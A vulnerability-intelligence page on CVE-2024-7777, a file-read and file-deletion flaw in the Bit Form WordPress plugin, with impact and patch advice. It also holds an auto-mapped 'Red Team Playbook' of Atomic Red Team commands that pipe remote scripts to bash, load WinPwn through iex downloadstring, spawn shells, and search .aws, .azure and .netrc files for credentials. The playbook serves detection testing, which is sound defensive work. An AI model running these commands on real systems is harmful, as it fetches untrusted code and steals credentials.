CVE-2024-7777
Overview
This vulnerability is a directory traversal flaw (CWE-22) caused by insufficient validation of file path inputs in multiple functions within the Contact Form by Bit Form WordPress plugin. The affected component is the file handling routines in the AdminAjax.php script, which fail to properly sanitize user-supplied paths, allowing manipulation of file system operations. The flaw exists in versions 2.0 through 2.13.9 of the plugin, specifically impacting the Multi Step Form, Calculation Contact Form, Payment Contact Form, and Custom Contact Form builder features.
Vulnerability Description
The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder plugin for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file path validation in multiple functions in versions 2.0 to 2.13.9. This makes it possible for authenticated attackers, with Administrator-level access and above, to read and delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with Administrator-level access can leverage this vulnerability to read and delete arbitrary files on the server, including critical configuration files like wp-config.php. This can lead to complete site compromise, including remote code execution and persistent backdoors. The attack requires authenticated access with high privileges (PR:H) and no user interaction (UI:N), with network attack vector (AV:N), making it exploitable remotely from the network. The vulnerability compromises confidentiality, integrity, and availability of the affected system components as indicated by the CVSS vector.
Solution
Upgrade the Contact Form by Bit Form plugin to version 2.14.0 or later, where the file path validation issues have been addressed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/4deb128d-0163-4a8e-9591-87352f74c3ef) for detailed patch instructions and verification steps. No official workaround is documented; therefore, applying the vendor-supplied patch promptly is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Contact Form by Bit Form plugin for WordPress arises from insufficient file path validation across multiple functions. This flaw allows authenticated users with Administrator-level access or higher to perform arbitrary file read and deletion operations on the server. The lack of stringent validation checks means that attackers can manipulate file paths to access sensitive files, such as configuration files or other critical data. This vulnerability is particularly concerning as it can lead to the deletion of essential files, including the wp-config.php file, which contains database credentials and other sensitive information necessary for the WordPress installation to function correctly.
Attack vectors for this vulnerability are primarily targeted at users with elevated privileges, such as administrators. An attacker could exploit this flaw by first gaining access to an account with sufficient permissions, either through social engineering, credential theft, or exploiting other vulnerabilities within the WordPress ecosystem. Once inside, the attacker could leverage the insufficient file path validation to read sensitive files, potentially leading to the discovery of additional vulnerabilities or credentials. Furthermore, the ability to delete critical files can result in a denial of service, rendering the website inoperable, or could facilitate remote code execution if the attacker deletes files that allow them to upload malicious scripts or backdoors.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. The potential for data breaches is high, as attackers could gain access to sensitive information stored in configuration files or other accessible directories. The deletion of critical files could lead to extended downtime, loss of revenue, and damage to the organization's reputation. Additionally, if the attacker gains control of the server, they could use it to launch further attacks, not only against the compromised site but also against other sites hosted on the same server or network. The financial implications of such breaches can be severe, encompassing both immediate remediation costs and long-term reputational damage.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Contact Form by Bit Form plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security. Monitoring server logs for unusual file access patterns or unauthorized changes can also aid in early detection of exploitation attempts. Furthermore, organizations should enforce the principle of least privilege, ensuring that only necessary accounts have Administrator-level access, thereby reducing the attack surface.
In conclusion, the vulnerability in the Contact Form by Bit Form plugin represents a significant threat to WordPress installations, particularly those with inadequate security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data but also ensure the continued availability and integrity of their online services.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bitapps | Contact Form Builder | All |
cpe:2.3:a:bitapps:contact_form_builder:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7777 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4deb128d-0163-4a8e-9591-87352f74c3ef?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/bit-form/tags/2.13.3/includes/Admin/AdminAjax.php#L829 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/bit-form/tags/2.13.3/includes/Admin/AdminAjax.php#L852 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/bit-form/tags/2.13.3/includes/Admin/AdminAjax.php#L875 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/bit-form/tags/2.13.3/includes/Admin/AdminAjax.php#L898 |